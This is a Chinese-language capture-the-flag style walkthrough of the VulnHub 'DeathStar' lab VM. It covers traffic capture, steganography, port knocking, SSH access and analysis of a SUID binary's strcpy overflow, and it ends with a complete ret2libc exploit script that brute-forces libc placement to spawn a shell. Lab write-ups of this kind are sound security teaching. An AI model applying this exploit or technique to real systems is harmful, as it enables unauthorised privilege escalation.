vulnhub靶机之DeathStar

guangen2025-06-09文章来源:SecHub网络安全社区


DeathStar

信息收集

arp-scan -l
主机发现
tshark -i eth0 -f "host 10.10.0.133" -w deathstar.pcap
捕捉etho网卡包过滤靶机地址,保存到deathstar.pcap,抓取两组包即可进行比较

tshark -r deathstar.pcap
读取数据包
tshark -r deathstar.pcap -V 
看详细信息
tshark -r deathstar.pcap -T fields -e data
输入类型设置为fields、提取data数据
tshark -r deathstar.pcap -T fields -e data | tr -d ' '
过滤空格
tshark -r deathstar.pcap -T fields -e data | tr -d ' ' | xxd -r -p
xxd -r 十六进制->二进制、-p->再将字节码转换为纯文本执行

图片分析

echo "DS-1@OBS" | nc -u 10.10.0.133 1440 | tee mass
udp协议、输出到mass文件
cat mass | base64 -d > x
base64解码到x文件
file类型,修改后缀

使用steghigh出问题,显示data不对

echo "DS-1@OBS" | nc -u 10.10.0.133 1440 > mass
直接导出到mass
cat mass| base64 -d > x
自动弹出文件了,与上一张比较明显下面没有乱码情况

steghide extract -sf x.jpg
密码输入为提示的DS-1@OBS

Each segment of the "unlock code" can only contain 3 characters sent in sequence to unlock port 10110.

端口敲门

参考:端口敲门技术实践

nmap -p 10110 10.10.0.133

knock 10.10.0.133 197 719 801 983 -v
敲一下
再次扫描,端口开放

nmap -sT -sC -sV -p10110 10.10.0.133
再增加扫描参数、sC默认脚本

ssh服务渗透

提示

社工

lyra13

立足点

提权枚举

uname -a
sudo -l
find / -perm /u=s,g=s -type f 2>/dev/null

/bin/dartVader

dartvader交互

拉去文件到本地

dartvader反编汇

gdb dartVader
source /usr/share/gdb-peda/peda.py
checksec
检查
disassemble main
呈现main函数的底层序列
实际内存地址|函数内偏移量|函数语言助记符|操作数
									保存旧的基值指针
									设置新的基值指针
									将栈指针对其到16字节边界
									栈空间分配为局部变量,分配80字节栈空间
									检查命令行参数,ebp+0x8为ascii值,如果不等于1
									就会跳转到+35这个位置
									后面三行是错误处理,就是ascii等于1,0x8048520应该是错误消息字符地址
									程序就会调用errx@plt打印错误信息
									并退出
									从这开始到strcpy@plt就是获取第一个命令行参数
									然后复制到栈上的缓存区
									
									最后两行返回函数清理栈
整个程序的逻辑就是main至少需要一个命令行参数,如果没有打印并退出,有将这个参数复制到80字节的栈缓冲区
使用了strcpy@plt不安全函数,没有检查长度,栈缓冲区大小为80字节,但没有边界检查,所以可能存在缓冲区溢出漏洞

缓冲区漏洞测试

/bin/dartVader $(python3 -c "print('A'*100)")
打印100个,报错Segmentation fault (core dumped)
dmesg | tail
显示开机信息|查阅

41对应的ascii就是A

ret2libc攻击评估

readelf -W -l /bin/dartVader
-W;允许超过80字节、-l:显示程序头文件

无执行权限

ldd
链接动态库依赖情况

利用程序编写

readelf -s /lib/i386-linux-gnu/libc.so.6 |grep -E "(system|exit)@@"
strings | grep -E shell
再找一下/bin/sh的地址、-t显示偏移量并以16进制给出

制作100长度
msf-pattern_create -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
./dartVader Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
运行测定偏移量
dmesg| tail
0x63413539

msf-pattern_offset -l 100 -q 0x6341353
可能匹配在76偏移量

offset就可以设置76

payload

#!/usr/bin/env python3 # -*- coding: utf-8 -*- from struct import pack from subprocess import call offset = b"A" * 76 libc = 0xb7550000 #在ldd /bin/dartVader中拿到 system = pack("<I",libc + 0x00040310) #readelf -s /lib/i386-linux-gnu/libc.so.6 |grep -E "(system|exit)@@" exit = pack("<I",libc + 0x00033260) #exit@@GLIBC_2.0 sh = pack("<I",libc + 0x162d4c) #strings -t x /lib/i386-linux-gnu/libc.so.6 | grep -E /bin/sh buffer = offset + system + exit + sh app = b"/bin/dartVader" for i in range(1024): print("Attempt %d" % i) ret = call([app,buffer]) if ret == 0: print("Exploit Succeeded") break else: print("Mission Failed")
vi写入、chmod +x ret2libc.py、./ret2libc.py执行